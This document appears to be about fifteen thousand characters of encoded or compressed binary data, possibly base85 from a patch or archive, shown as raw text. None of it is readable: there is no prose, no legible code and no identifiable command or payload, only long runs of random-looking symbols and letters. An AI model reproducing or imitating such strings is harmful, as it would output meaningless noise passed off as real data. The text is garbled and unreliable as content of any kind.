z)>cAR25oggY8G?)^UJq{Ppzkaz?~A?qTdS69I9o^|5S+b5%QVEurzS#^O-0nEBN&* z_)5X!#vsS!U320~?zJ@`Y1!${^Ye z|ImPhTW89^qo8Pu-tZO_#wtv2BtI@)cT9#6?XT8B8=q6cjw3oFz9P|R_6bzqQIp0p zo$j7J+UCS>_!Z=7*Bz=p=Qq`H)>epw>znd8tHF)ssPlT=AvRg z#UbWQ+TYZ>AQyAK25dgA|d|m;ZyWr}cNtJ(HA;m6?n~W_q7z3S z%Q3!+NYd2t?!_uPf2Its&bN?tYM(Q~IkcHH?M`o)ie7j61G$aV$>@^Xh5E%Ze{owk z;QcxWalo;-RcEg;tJ{_+q|AvTol4V2s-7d(@ANDxX3kt@D`Ml37vTk#8(3kTBTaV0 z|9FIWW!p7ep*Pci%cRvb5t7x0-~)#Mm4eomn~=7}*;7t2qLTv3?epVtok)Gk#0jX|zWO^E(`2%ENd+JbQsVn{$nfl0j{(}1F)dF|J1raOz$#9o_jer-W>Dey_@CYR_h|X--*chDg z*ekv7*r^rS?ih@0Zoh5} zM}(->xUK-#7SM~2n1l<;Uxa~Q@@^Q#AN~;Qupza&=;}ADL%znMa&tUcEvxm zdOh>(e$ZJ+wI2eC4f@aHwSr~3bZSv8IpXdN3_~Go(J%VL>3S@C(rv`|Tt}&?ZRfB3&z-xQhI);oEqYSJ|c^z-FZA`eqIFfFZz(w-D--gw!snH4}; zRAq2l5Vc~gI7F%LBvtLqU2$44+%&@!4Q1$Dt8OJ+vn$B&A@aAaSji~PO3Mi4^ zG@(C@1?MHj{{|%`^T*30N>De^ElGfM1e}MAYpOEY?7#B_UcRQ8l%G|}`y*)!&2$`R zMHJgw9rtuD?&X`Dqk4r>t?R`WdC)~dYgmeb0@57@r$)blOpopYQ5{`|nXoV>E21$S zWr@0?EDoQX#n%)DeXCeaRN_Y~1JuW>LPj}$TUNX?nlRF#6Pvuq*mf;H4vSGJ#r<6y ztc?l9cSh#%?iuefRfD*bJ9I~y)ABfH?X^f_OMKrtTiBe+{o#nhOcjZFJt|Ct-!2z9 z$9QFM4@PuxT`9c$qW-&V-wLKyw2zk&u3D*qW-k6aj2N0tc!CJLHROSF5|3@FDhy2u ziI#=4WrD;9Mlw8(iJvgn%8%%}@oZ1K-*nlyWF%c{d1<8BJK0T7%kuvGM|yAU$)JXD zPb18-X2hH(kWM6DdP>0>mf4zciPIR)t*8o59S0xQX1!*~Pek4z+V)FqaTB{-DxQ`% zcFaYG^fEK@-$3*s94`t`_y zO?`<&O1Q;MlQ|v2W7I_8bJ&1_-sa{J!^qf}8S&h&8`3h8ZSumA+k9KzOE-k=^@QvB zwvBM%ciTAtmj4~|c+C}w?K;W*5{=HQ7s1HOj^6Wu01x@XySbv$ed+^FXhO|tjuRi* zlq1>Nb-c4w@@UuzPCTVI2Q98K2seZ<&LO%H!`5N_^!He!*~$B@oVkSi0+Vs`(1UZ6Q?0F4?WL4f2_mx$fCZ2fQ@4=(TvPadtKoPuJlDqjJ*qj#nZ8byoy&W zud>=j8Sj@V9Lv%s_De&GJdKzuF z?w3ToAHhyx5?|Ln4gePxDFCo|D!w=!Shm0{CV;|sbtnaTS_$J#2v0djPS8NC%o{=f zl6`Hs!-;zgnJqJT^lISq@$@;!vL$)Dpx+ZC&mvUURke$h1^VJFrF#U0`WWVZHHi|o zup;c_wE%ejOwPmLnR>$ugPr-hZ*^-@%V*FXAs_7Mt^7-16s(T#$#L$2Qj z_hPd-XEcEjuUiRSvbj}FeZEou3`!Zx=0e%cHi+uJHALU`!n9!Z+FVV|yr9havs5>G z?JZBNZLXSlGbEUAZ$5Z5Pv(lEB~1L?x}k;f>q+XW6XI> zH~Pu}kC2RyguKi6koc3m*OF;Co6q|0OZ%=jFeB4w+NC)@*eeg(yk`#_p9u9`;1-7_ zJ{*7a-M+?641bN?x6u&;`fFY(>@xqaoqrF1?;mkloD5ui3tMMl_zj-W)d(*;$eyr%pb%MFuAa zp;_~~rgELjJ)Bg0jMI&oe%3SOJo4q?cr4>PGJUJORPi}0p>dInqzX;HInEQBev%)< zxHCt*eXpy3Lw7m(mfSD`E>fD-KR|XV)}$V7?q@buUXNcS=y@L8dMZ5FM`J}Cj$g>7 zO!xfeFL8RSN4gw8cuwwbj$e8eeqNMc;d71hiN$pCIBf7#-KZalq4G|Aq!G<9@zsnu ze#BC=JANRH$G;LpPljH^o8OELf$@%R7iZ|Y;A>XAZWpZ*7wPCs77ufkP%Z0Bx`%v2 zX%eTWqP+j=6_Q)V^dXu2khIU)9km^wDSq@bF^FvRp!|#7@p<*JU`uj81|S*@d>a><-t;XznBFYpsY?8qUC-2W zpLM#*vE&duidV^Ly#ywk8(UCvzsj+oPaymB^}hO=_}=Z>?f*a+)nLipgvF|q8?S$h z!l~>{GIY)bsN}j}%#a@vPj;Zcv@O3oPGLLv|jMb{>aq-m`Mi zH+pWFjIwdYpg#z?bp4dds%3(zk(J(BxT8@2tG;^;I!&QZ?~yRXH>N$R`e)NRSoRss7 zF1A20GSE8-O$kbiav5k9mBr_dV0pBc{-&PAi#?5Z}; z=6W&5a9`)i@*v^5?!&rVo<8^89P5q3mA#OR=XHTUM$IFwbB#aEwHQ16HRw15J63}C z&sE(f&k!LPnr=&=T?UlSKW^d>W6s)X@)?uFG3HWeQ}_w5=?`;O!7-c?#* z-7$}*&hcOB;u(eYQK9^sXlY+OVc6D=|} zjja~%J1^S*_HTINoy*EYG#YIr zM=w95muI&UyL!aJ>tVgBqIF-1Df%I>IwRt`qU6N0*aD3?;4IxOpML34A<~#~=RP1W z*1#eQ*&dwR$B<&nnN{tAOb8&Z1?XfXFC+}^3=Mimy<>oZ`_SgoRia;(ufbMugcH zPFP_nDa#%FSXkA3v5*YD4ot~$$gn2@nLH!csz-Er<4uRsC)FLw%qE@a;yv*NL1tWz zz?%9S0_3VbNnlcdSr`4If@(7`y84Vg8|^WMxvjU+izBgA7P3$V#@c*F;U!U&@^MxU ztJv%-m(CPrZuhw_Y0!5*?B&3FK1{(OmqqaV(P1>_?EA!1R1KDXclBR~f*BS-bIRpU z?nV$keF3ZK{|AylZNE_~j*k~%3-RMc)Y2(dyOBtK8I0$=_3dOWy_U65w_H;3=ZUD= z0nOg+@l|FJvTN z3Ax?$(`O+!|3q8}?Hhf^rj33zEu^PIAwA^Y^agg*o7O%b#*u5Ex&_30!SecM~t z<#*EiX#8VN^sVMQV5}`9yK+6*m0GYG6V&Vtq|trWbbD6FFWWxH^A4@T^)&BX9k=Y#2xeo)GWT~ox#^+J+Ve3=6~;>0)Nes zl6!oI|4e-08^0~*lSKSZzfB+W(2Me!0%qRg|A>;J5I6 z_BW4l0iG{yNbC?B0=8b9k#9q`lMVTukndN!#b=PWi2D6DUQZyl!-1 z=M>&S;hhxXd&ikEcoUh-Gk!f7tuyRY*f@`%L4wS|zVD=F(Cf*HinmNsT^Titsebj$ zo%we8Hlkv?tZ;f)j8(Ve5Y=_XgQ%q2Z0=r%`OT$D^DDnU+*@4qb4z80*z=@_OC8;w zv$L!tXd-@(7An4%byN&%E+D*r=D6zudYTREtV)CaK2i?eS<8I;!^+`x^qq5!<+h%pa&M1!8af`JWDJM$ibxa_@`+>?5I{ZE@7?4m+zpd<593Lm2oZ^Y3ZM7E1I z72kwKySOJegmPT-BvP}F*mm(@B7FF;c5%-kUC(y$L0gM?b}^Uyzq5-E<=aJ{$;=7!O7Yv$v>BeezIyj@zrH)VI%3-wwqeNF8z~_2COSWximI zVY>V4H)5kU=SU{xli)_>SNT>G_4=aJvtuR1DpgO%i_|*0!>6kF-K134IyH-_0rkum z^Y!~2QL%niOTV_DbmMvGI5eJ8q0ia8^Aws(mI~#21%`O(4N)p}^}OQPV-&Z)1ChA- zF5Rs9Jqa}xk5p3JY@-`s2cjMCBjZi~g*$}(f=+B?--9a`H@h&YRy`2SBAw-9<9+sJ z^t@vtZH4JY3{~Dk!4nMlCQGU$o>a}*@)n+I&XX~G;iH+Q$bNuK2Qkn(2w7Qw$jkbJ zGwZ{=tPh=8f6U7ww2q}LZHYK`L+#UOBXlF@Y4zpn&w{OefpQ==PguV)SBZ3F->mbm zc%^6Y=Fy}+a|YdOp~@=g{z)QDX}9Qdrk(O@Cbsrc&V~#;ZoH>F*PRT7EakCkpG3=Xj#|wiv^L=AGk0;<*0h zMxpqux@K6RxH5TJLKlye?io}lzHLIOW|m_363`cl)y0_p7qMs1xgszCeX28Xi`e+%MD#zm&S15C@ed@KgNrSF}?%RLt^m&Oj+K7DFag&f3XZ(ajFZ$-U^1l zABtg19fou3QD(1#?HZZBt z438#mXEdzopA=tKVZB1dl#kOG{+q)4+!)TLmey0*8%WQ^gRs>7Rcrd!iyM8Y+u6gh zmeEA5EN^*D~v9RW+_!DQM8Q*Ra zG-KfZ_i=oa9Z@GN8hsk@*0x)se#W$v6Rqi=L%*mgH;#lA=4e7oh9mNd;|T3&X-y$o z1hipM)tk{`LT^t*R4UFA_=?o|;nvhdF-Y7cJWy_Sur+nM7$#9Up;2Ntp)&>|nkb$j z6e>V8MeHLqv=Px<@f@KwgyxGE2u-L)v`)af4YmKJwl%d_oF-l(^fI9idc`X&3=`40 z;!A47{nUm_#doBoV~3)gSK&JjfG+Ki=z59XFGh4Dz5fsvlbW&IEfW2GETY?lPH2n| z(a)hj5WP#a-zRzz8b;+F7h{!9z%_#qJt<~U-q+(0y)Nb|H-V&e16or;d%y%lyDt@P+ozS^}Fz+Hl7a*zv$*8_d00n{P z<`U$&O&Ls-t4fga3PNEKc46N25rA-yOiOShx^Xc#k~?erXhMz8A+&y z$~~csCUi5Q=ajK3-g!8;0PA~68BeH-(5n(9YZ1LI(Kq7}{g*^fJRMRTGX^SFGWI#Fj{o^I!1KhzhY zoQP2Bi%7eF1*Ge@8e6n^o!8cW>YLX&whF_4SAOb?h)FG9`et^nDtgVB+1c7~o@f!p zeYZf@Y&8GsQ^e&he}nLXrhh_M9611CY>4Vt#KDvw!lNe?LHOL@3JBj%VmN(l6@>Hr z7TQpcT z^=dzO40;yA5yPrMKbSkSb5I4Qd>_K_s_~5wzBLlVud9)M9hHjJVD7^dmQKWQGKBLw z*T<^uT8hSED;g+#w-G~3*TsTKn;`r}YLm_R_ypAw!m!$wVBbIO?jzUrihd??PB5UZBw3AA5X>x597H zFo)Co(MU)meQ~lH(jSN+&8`xQQW0tj!=uwxvX(0GZ0tga-!b%37#kmrs)q2(Q8m;@a5;oXvkBrijT{W&W#e<> z?LzE+PaBWv{V7*8VE8G;_Xh6-nq>1`5YB4e zh2wwRZV0a%w+F&6;(H;yaN=%g#g)W!8R@Dx@{B#Bzi4?LXI9J0eyhfdh9Twb0k2`% zMx;p(#V|7dHxN##dKbcv>+kfph*p>jEn*ghyXt=r;guBLU5(+{BQSjwgtI%VhNIp} z24k3_a6kfed;A!Tk8Q$uC&hi-;AYR>O;1atoJDe7`Bj97Yx9# zAB~fPqcJR`_`B5O*AV5EW0Aw0J{Zo|kpFzD@zo|RV2#Gx8V|rY%+z3bQ!$2X2V>Yt z;cN;=P&h7z;on;@ENQ^-cYQGYjKV(^VEBCk!;K1t7pNG%P2rsyhUfS(ymu z;q}D_>~Xk!EJ}Vv2*a0~(dIwVjPa{VK7}#-6pe&ENep+@Zi3vcq$N(DoH@pT2Lnb!oa7dw&*A^n3Cro1PXLaXPis{@wZKHoekU|DI_ z%&46wH)tCBXqE=i8;gRBOzb1YTV@VUIkI#*nU|=tBTcBXLPQ~yi9t^ki#qi&S z7@h(tISp)rmcCWJ8Nz=J-5Rjk{@d}Whet;t&ChA(q8{?~#`K3$G6$qz9ni$n!%)Jb zVdQJ#hB1d~{$E3b0gL`of!f1TJcgOjMwJ!7lwF>{RZ0B{adn51wtg;Oc~T*vSh3U|9PdDV6)JL?r=4A4wFV8orXKkaDoJ7Y_i;k9PEcME<5?x=3Xr)Arg@`svlnEg^ z*D6M%qfN^}y9>%T~J zckzpWzGEc59QG>Cjv7Xn)w~rb5G!o-S0y60NHiw&UxBE2U!o(%e;gvab!#qXF>^pClN)ncH@dB0U6K~sz&w7F#e z!0}32OtVp0uuinvs86s#EVEH6*eot$Q7z^leM&hN3lK{PAqiMmx z;!lM3DIdg&#ZWN@KaL>&2nf6rF{3|IHcgro944+Jbgt*rrn$l4;s%L^nU|=;#qARP zrFyM4T-+_uLx}}I`5>XQJufE~1NwrI_|?P}!4ZN!EG^E3c5V!g64xd<@7{?UgQLZp zGVipOGlOG9mqd$!a;*47qHlq6obaR=O#)9~yr@nwmu15cZIbA5FQRKDsu|rUI9_b2 zV|3*NMNAS!^^6V@TGPnrk5NP)H!-@U*EzvSVp%iQ2b$j!JVKmlqbq__#WgJ!x;}W6 z*kz;JgEPea1GrZ{>vdOfmUvX6V4r2mEb$wOh8JBgW{LL)u+EMs3Im!ykn?Jb?+eZr z%Oo07{4k)eCHhCzGG&ek4Ps;fmpP)Ek=R}W`z3L)MBgVbQRj%a2t6mNE0J>lAnvh` zOLhYKco5gV+d!Vj4rX-Fcp^AQd@E6BXdfW_0TM)4hh79!%}Cr_6jJAk4HDf~^m=ff z`1KI(BiAHFw2F@4Cow&KHkMG-}{y!Q;fY z5=Fy*4IVEBjAV35_!4y?-5o~Mhfv8VMh_JJBe+l;Ia=lw?i5SJGKs1i4+fWrF=H8Z z!FX9Jju^+Nyr~$_zVVFyIuLe5V!#AO^M)ZhW@m~i{5J`Fo>IzX=40WP z^mIdOXoF~-%v$-`bgzY(MO_x_IXv=DaJ|ERCAYMU zp0#*V8(t9K&C9jnMG-zG*M^tG)5ql6@QQfrm|PoP5sO+8T_N0&%fzeVT8SPQGPvM1 z@tQ>b;xPqpiaBkJrW8*ucuVY-s4X_V;5VXVKBGnH8$)l4WrVhgvEI1_?})b;kpwQ8d&oJ{BKKG^ga`f9`xzKZ^GyS~_l1!KY%tLPl3qomcRgxNaf0c7y-of-l5Q ziLM^0h%dz+iSX-bUy5JLa_ECOQL&9aP+oz&KZ{ovT5@hH__KI-p(W>a1z(B6MHafP z;A=5$kwtlT!QaGnHhQ?=TXDOMo+|j4*vI9>J1s93d@rgOGkUz`?E*zPU82zgJ}7W0 z=M&oOS=H|n)va8zI5)1{$~}v7BiXGuN4Z;hZEja^;&SfT@- z8{E1@Ni)E(5zYXw;#!iMD?a6>C9K_@!*5W7$`=wXfmsz+zFWfgCw`UwHV{@kOF8e^ zFy_UVa^CVf%*jG3EEge<~l`G~BEhD;Vt?P#SJg!Yf#o{^RuU0Oczim4*i^cdV3SzOXVpM0rA@ zv+8TZLzR~$s;Djv4^zG&bcHCXstXTSPFuxjdc&abDCIhdV$o6IG0NkF*uIQaK3mOs zcaNDE9;jO%sn2_ z7m~7}0L%SLQcfFsgE~Q}T+8S}nA4M$ch_>cr+du^PgXvbXkz8O@R7<9>li&U^w{te z<=SZ0UNiI$s$=A0XH!F6?uDc!9E8qIHD!ujdxsUvMFyo7x#IEmXt;rQ{UW z=Pk9DLf##xSUiixv5IFS=?u`-;p3FkHZtWenr;j)RJLwpE)Am;u}Jy3%tH&kNO@SI zMX=LYs=Ug`GjiN&K>KALTK1*N7ZTkW->WTER-DQ_-wW>)Cn(jYGx|&4+ruX)t!FSY zs&5aUsN8m@Y*FJ*u|i>cy_szJ3T1m|PJ=6y-e+^|Ge)e2ylRQ|4?#47kvOMtXLyD3 zl|(fo)@m!2gXeG!zo>2xuT%o(a^77dc7<0db0oT?ey_G#`NO%n7OhkMc5Y4+>y*%W zjBXv_7AGqW5{-bp?|Q|#{;gMzr@V7L_r)I!uUAfx=&|^tfHD$Qq*se}liGyXClr_|>tuAi_zn@a1{bChWk%`A8` ze6BKJ3#0b_?}X1+e#3~`@Dt^uExA$f6XlC7x!(MVa?%C48ZK0}*l1h9g~}B+y1U?F zWv7iEF1S>A$VN{UY*St##Ow5x${!@cb^1!>-xA?EeP!M{eP!M{eP!M{eWen;kPxlY zSLLnDSLLnD*C@4;@~6F4i);TMd+!1tRdM!@&pCTdfRIfdOzS>s2fv;`V zwwC|*d1lU@v%3kRegD7T|Nr^CfqBl%^UTb7=9y=nd1lU>vs!~n(L8;%)}~T4Q(mj} za7xa9H)wZ!UCM=gjXm0;9Q}xPRwi}-=ts4$W>Sxgeq7sqiP72-o+q@| zGpS=dztY^7N?u;9n(BE*+pJO#R?YVOTKmDJW@>OV56nrDrc`kL)t_>}BoHE>q85 z)-JqE)7!snB&N;&%4GPV{U!Z zHHvGj<3RflnMybMJq7w+mAVZ&KS~c@YmSa0{fTQ0y>9aq>A%mUG*O}-$fSyq`Y@Ba zN-Ndf*U4IrU#f|*`ov6Xqi3vMd7YHY{f*a(@%loQ`Wbw_@p_|5J?tUciJZDptQ@!5 zGhPp>)Rp6so=JKir{ruug%13SL24SWS%b|asQS%jTm-i*@d!7n?ucWzOn)--dt?yTki05-D)Qm>bq4=vLOrg>-MPeKxZZN2PKV1@j|0c9{r2;r&NkY|5APb9&?N> z)4#M=rpTfM^xb>SaTL(U-)OeBNw?17P5N}EohwF&XFN^%$tvX&Q(PzNXRB1Z*fwgF ze*TT7lve9~-!!GPS|9wTNn4}uzR9Gm(QmrRq_ydn-fYs^^u0Hmw6*&Ax0nE$!lsUb&4n3k$bLY&`JM@%F?ejn7Sg#MN)RX>) zUF-FWRq6(RuWf^VtxDbQpQUfmZ@WYGJK5xo`r|6Kf86Vyjrt*(Q}nyu@|>*CxKpNR zHr%8)sg$$mBhP7iTBWXV9Y*R~Dn&Nr^ZFwyH4Qm~`XQB?wd62TC)_1df5HggtQ-3; zWG6P$t3cwV0KLCc=cV}Liz$Af!Hl1;Wyfve27M@uT^wNie@`WNTqRLopGfieXfrPH z<4!PhTH(?Hg7;4~p~Rm#)vV{$xpc>yCl7_Oi<{>h3ICeLUu>%){12B9-cN5VipXpO z>f#trcHAajoih~1E?%2L_j2Le z5LMP@VvIQ5E1PQN#0nh^k~bZB-mz1B%p%Hvb`!<#<}cm7HHT{ZDZe4MmGAPc5^GK! z)W5OB4wdpdIU~&abNg2p4`<}8iT5f9(=&={xM>t&0&aqr)f!M&IrBOHcm`3gnMAym zPolo)TS9NjJ-2|UUl}zVRTob2B=`7NYL8e$t(8xbPqfDDoj)uy@$VFw__yn*HtH|C z>Mv@e73$)1i>bYDRt#UtAs$(3*8fN5_S%`0^XoIS<2KeAyI4HJ#1qD*Fj7{e?K*2a zos%OB#dWc4?ve6H9d@yIwhZHF#q2>hWIC*9js$caa+Ux%v~<=n-Z4e z{T$ZbNn=eYsU4Oc+%?ZyihAnIYQjuwB+RvqR1cldz$#{rff-6azgSN2%JFP-*y0TY zOb-89DIxXmH<+uxmz$jDTcKBZ48CX4nLia}=ghWIa_pP&Z0f6Xii@eX;$nMNJ@PKH zY`ofRi?p2ilK*WWSMr~XG3@YfrW5|R0n-i>)uE_IQ?rzngu~rsIDD?o7wtWfEG)Am!A>$i)=DJx^!yF;bp#oXR-e5%bPyvzH|g`FtLYw=mpD zl-z!{G4|W)+s5CGCa#|I7o#YQznUwFWD7ae?VA$Ub^tPA*(FfC9u6<-uf5SAkN5gHK!2u%nDf>!7rLA!JlI6f7yP*e!o$!cKeXV}W{ zB!;Ij3^9x{Je}cypl4<~0gn~8acwUGdc^^be@E!ozfN_&su4dA z2zoj+TPOH{czj_3aS2yUs{w|d7R}a+rkpKK(t8%1hxpYkmjX|cc|fc#x&pk>3C0&u z+f8DhpgpC1f_9HWI@KSQ_Yz~q-47V_KM45C>AyfJYQ;#v*Tm`i2b13wW5f#+HSHAb zP;sHQOSCO4M*MZeM~Yugyd633pEy<gY_a)8#FrgTgJRi2RsFJ%AB;TRwkaR z>Cxtirlkoy^Z{-QV&aF#j6! zv9?QFx?n5I?O0LGZLDT#RC7y-Lx+F_?1hlSd~cC{isp1tyuM+Kek1dFqgF9tmQHX! z!%BvAdK2mi>bGeGS8@DCjh+|m*rxDK~z6x^wIjCi@GM4h0mTB?cf=qncJuC&-uKEm~?SW#XIxM3-s?;>mSthTr1Sl4Y@W62a( zjB9&VTs~4mt0`v;IbTDZa_-XE5(0kTwM#Eu@Stmg{#@z9fUlH32#mkwF~HS;v-Q0# z&$vF)`=|ZdyINU{IyeM?rFoN6NF6he!;CsX=Zio1d_&nk-iOqof zxzy`i>J1SA{1DJ3{wcoTE)Zk1USP&+NyKMq+ub9?JnbyRJG3tYo~(Tx)J@tYfSa}5 zfEby;_h>f&{y_UCFb`_CBECq!6Ll`rzY9#0ejnfp{fB_7^oM~zS>FJ-Nq-D*GsCd{ zGr%7G7vQ!}e-bdQ6VGSq#Pgs|JfEi%&*$q;174{A2JkxlMZmrK9{_LCUvrNVx9V>o z{+RwAwZcZ!GTYw(y*A==y6qo`&$7|S=jYj|W}nRge6@}0uSeW17TJ=3Yi%T%4x6LE zEl#!-0&cQVottf=5f9tO0QT4>0LHjfpN-m>=2AO2ewK~obG~gd@?6N6OPQbDwrK?= z;$z(1B{ciKLhxWGPO9zHx_UeFV5fSP*{P*XcB*HEeHQ9jWuFhY)-C`$?3Kiuy^eUZ zF9O_b_Y-gS7UIoLt%%uIBHm}em3XsHLwtvQE#O)9^?-x+QvuJj2LaEwhXEh4lT;tG zM-hL4xq8V?lG)F^y}_8b86zBVUspNnPgVwt;G+Kg#(QP~x) zXHfqt*K>etUB3hDaJ>R}vg>ug&73pLIeT1pQtvZnhl^Uem+?1o&9}Pf?sstg_qgcp z-*eI3f8e6te30`$;-cPsf@}B{mwkrI{sv{s#R!bna#1SwmXwQ$;x@o(;t9aH;#t5d z@e<$(3=fOATg3oiO8f-yOz{N6*Gtb6=c4{c`7Y<_9M>rx za9&PvhBnu|fSoSJFno>SG&jKj!%l|hN=(7;0YxFz<7K#v;rlhWM)3BkmSY!$W>w z)M#gD=V^Pi-)Qe>A80n+tsko|)?4(5-m9OX59*ic-_q~Vf22R9|55+DKFT)1R%tuQ zc82YI+Xc2uZTHw7usvt{z3o-ohc?YV&OXUL&F;6auwP*Rf&C%-PwlVR-?SgJ|J81D zjCD+O9PgO#sB$cFG&rQd9t&|8Fy}X&UBsV+U)v@Yme&}F8XFy0oDeEX!}U43r2}ekWdIdYnK=cO`j=h^SZ}nzynaX$M{HIh9ysMbtV-AAtlL_uGBlz_ef)6kcj!^`4 z&bhIk;J!HoUl_yq5`qsl6V%2LoXTZGoWGg5-Q#6$IcKVf@ss#2O9%?C^Fk-VlNi3U zfZ%sI&#$>fr|`Xg%<-QwS5I)AuWZzN2|B7*zt30^S%Yh33xuAks-GcE=! zolEimbL9xyX@S+DUrrhgSR_1vqhW(| zSnIKZe*b73V2PLjSPFZj!!}I<91F{>i(|x8z;UoiIz0B{0VlvF>Ec*eB>Fvsxq`m= zJ|A!r?2-;URslE#v%L;`Rs%Q{HcE$GYXF>v`JcXSx>(TnQkMeG5Pra!@CfMFgqsEZ zCirr|Ik1`ZJ1;8%=V2bvagR2@a?BYz?$i$G6YB;2qS;2kO4wE%cm158Uza%zuto#{ zYhi13aL@@@FCv1zk=qTpP(*3h3l>-xi$pKrVvzt`B2E|dJ=GNLcZq)5Efm`U8)2Vy zaCs&m?F-TG|C|ljB6bS;Rlait{j%hj0b4O=(Jya)4REEn0C1JKh<5zMC4g(hF2IPm z9I#7V0T>fk0rrY(0OPRgI{3IAJ=zDTquxD$=ZPBuzbw8<`*nai?(r?e&j-|Tr&|EO zE^Y(7SlkYHiMSK+Qp}t>?)M$!ybMqmcZhod?-cg|-X-n_{2uM>ApIlc`97cy>_dqE z08j_*VcPuz)Ir+^_>_2*_7BD5g1)r!IO5NWp8@_S*44WBwfH6AE8SBu6Q2spm-5^4gu=oJ@I?M{}wL;zK=R|;nZFQ)ddLM)?TBT6cDntpM;+ZG@(YU4Xi{OdEyx<$$`_t&P^` z%@Y~u%!0%|20KcnE0lZh63iv&38sL4} z@u=bZfV%jxHWTo7+HAnzYjXi#(&huctStcigH{3fidKdE`vG5Bm;>q`NT*ZqJq^Z-iD1cb!&X299{a=+3Z-S+!m(6V>_xjMxipRT!&odlklElYJ&&i+wi6SRC;sSnJKk zNJ}EV6f3^j7-`!O_ha2R8{_Q^#2c~tn@w+y+sQ%zv#E0To z?IbO!?biZ&o1WBP*8f{~+OD!+?!4Xkkn<_0(B|4ZU33&^zJ202x-PK)WfWa2?B_DR z%HGBJ8oQ^6t_}7dqaDk%rS{2mJW%u7ADOC)^cD0b#BRV%+V=oY)5@;Y#OJl^0E3$S zDtg1=Jiw546W|u@F~CmEezhjTS{YzOyAH5Rvk&r~zo5f@D`1B!V1+ASgDYWyD`9^tF^^PY1yYHbq!KHS zO3WpdSaDQhHmMOCP@-QvCRS?^`$-6=Xt&z?#Zw3l=PBAmXTPXH2skg%_9J}cyiHr; zxUN77B9bSRMM?Mp^dsYG(g7K6l@>L}LM z7m2sVHzuR$$m&Em!ddDvS?bL!>-)kXOCF{yi3f2B2HVr2bhOi-Ooj$pqlO;tmEeT7)m73)v+ zwD)&*g4eG8*pixH5ZEpKU0so+N-XK8%bNaJEVLyS*<2w4iFjAEyFVETcZ5<~{o6y) zw4zWN7v^bgA`zo_XF8gQBeE_M3b(~$1A#;=7BP_i)IhwGO0ABhdlKQs{%9;5NrKS2 zDw;~;+8#@6Z%S;Bwu|=E~tkQkf@`O3`>~w9mMAQ=}_~7A4#I(|!GEz7um%H6(9U zd9_uEzN#a%vZAtD)HgR(H#amiHdNI%R@VA`4b4q0{>Fyps;b&ROI=M%bwfo}V|7jS z5vr-J7K%~Cg5gXQ4FNQIKt*M&vdQ04)8KEauM9Lc*VH%HH&iwH0=~+c=Gyv-dS7F0 zpxRee*I1p`qH3{-YRPJNb&aTN2vk=#`I-XN%}q6ae@lIHRa0eSWmTZQ&R5e^SJ}{9 z8wmI-YBSs*$`VxZAu6p!rPYDP%0R$Z-&ofisPYB;zUr#Vs^%7dprX-NQP*74SkqJ) zs1>#ThUykypsFe0uR=?zs{_qVjSUSg6?GLY{)%Q_LuGS)b!Bs{F|=xr*eCTzpf=Qt zs_Ghllg}5ZZmg>CH#Jw*)z&lyT578r0~J+uE%-+wY-p?(-H~)~eMd{Zh^F{*gnKp| zX(%+1krRtx()weOC1TOqWON%kxV5)07U_+|saPW36iJ7ovD6Z=>eSVK;ji@71zP+t zWWL7wrmCiDetO1 zfriEw5_uJrBG4$72gKSya7|mVW8L~S0d8Asd|N0M4F}c*M2*i^(FDoWHq{22s~TEb z{8i1hb%EO2rkbYOdVh6&9rPILAsSlht7>bS8<4NIvI&Y^=c}x34pc*iz8XKwZB1ou zV@;q*v~_i*BI&j+*5T$hVAk~aZox?GYKo?|Zj7dTObRj65{<;d9f?F^v|ASKNDN;T zqE4dj;fsQT)&^FzZCn#v*WBK*t~Jon%(x9rt?mBCRm~#c3sm@;1GRpdFDiT$E%go6 zjTJRj%@u*B>V_(RQ@~f@udQpLLTg*sHU}Hmw}@arh7t1>jjvk4clWmkT3ad8YX8Z> zfPYQf8qq$GN=JIjTiZnYI)l=>X6^b8(FEOJzp5ihUEyEdOcbu)-?74ouWDVhlH>VC zS{Vt_uFBvL^wzkQj?V3m1cS^Z&CeV$x+Rb?3QP*7(ipbkVW^nkb1*zKESAMuNgkdu zFOS3{$!MoiIYvizq>~};J5DyXMB|}YODL6YMg^D>JCcz|dpgO2SRa<2Rl{7lqRGR z3H5d)7`+9?Jf-4t-lma3CO&1-Io8pWOl)uMLd9uLH^)9@ORf&ZL)}O#)y<@#4AE2%BEc>rwhF2N8yfA35;|s0snQ$JaVm|fAnC1CQ!>$u zrguhS5!Eo_X+3l;+8wu|QYMc2p}j8_1+$@e2GJ9Oc0(^n$;BCD1Z30Kr-&hzH%ED# zZTSMk3VYR;04gYZE)Yv_)aML@=7l#APq7Nn|P!sN57RB#2Q0)wd2esr@O| zGRPw%W=Y7{Q&hUKCz6ab@8|=Q26a_*OLH=rNUo1Z3_Lr!>*J|VSEMaY_l`xC zSss#xTF7KZ(fel@-N%M-RV3b>?orl6Rbfr#4k3dk1)UiXq9Zu~6Ux{|(n?ZEWo9h7 zK+i`;;$cf_Z77+FSgB^znE6_w$y8dRx)`nsoiVUFlSh8B5o)^XF^4l z=C&mI6~b~$xt0>CA+c&+$|uNKEM;g=euiFoIl~w@>%dJC&48Y?b#?SaQwkwFJdXJ@ z->Py3c2h8)ZA7~g+hJ8YBcds>IuwPWijz_*lgkQ6QfFM)h@=wzNnC;kB7iQElMu(c zGO=KcYv4HZ!}`X_Kq%JPPaUGBMMh=~d|3m{k!Es5Xj_E%$>d&bL;~na@-=91Gg2Uo*p&8ZXQ-ZNPlRF235r7+?=-oj8Y5kV&RQ3BB-#z1faDZviljP| z(LQvwiI`oZNy9l+IaL|hA*wP+#xx>TP{xvS z{tC+!G=#>GOi1f0DuO(fPzmZ9V=>L@$*XA@<1xuv;qO94CK7h@j7U5O z*^I6ym0>ZfTwP;qFU-@eZQHhO+qP}nxb>}VTemiD+h6V8+P2-k{q*LaC)qujPn*eP zcaxdjIj4$5bcg3XSvn)-9}qH&)x@|i$%j^{u?kjDAa)TxbRdqwbXvgD5|fy;0my99 z6j^Q5L$acE?9L*MT#1x)iUQX4i$x-n4%u}Aou zsdXS7j!foanpOpG>N=uLI2P>XjuuT{Qwu<>y^l3lk%%`v*5g@ADp>upTPxz+YQQ8K z?y<=muPSM)S7}2;DH(WwVUAw8-4lamCTfn$GEAFXQ99H7(5zTG>M9^J@sc0!T`eK@ zwgy)Q5T;i({?ZDkt!{eKtaFU>&j{qQbc*+k9Mt;lD3czDB`uSM7+twcGmF#p_|JyP z8yv}MON}2*q9ys?J1rC0ku|K2B+v{lH4|~3&GI5!rgWMm4Xo9@tAMra^0;dD3etIc z>vNJG=+tnEyc%~ZIO;-`SE_$|P6#xX`#h027n3vgnS 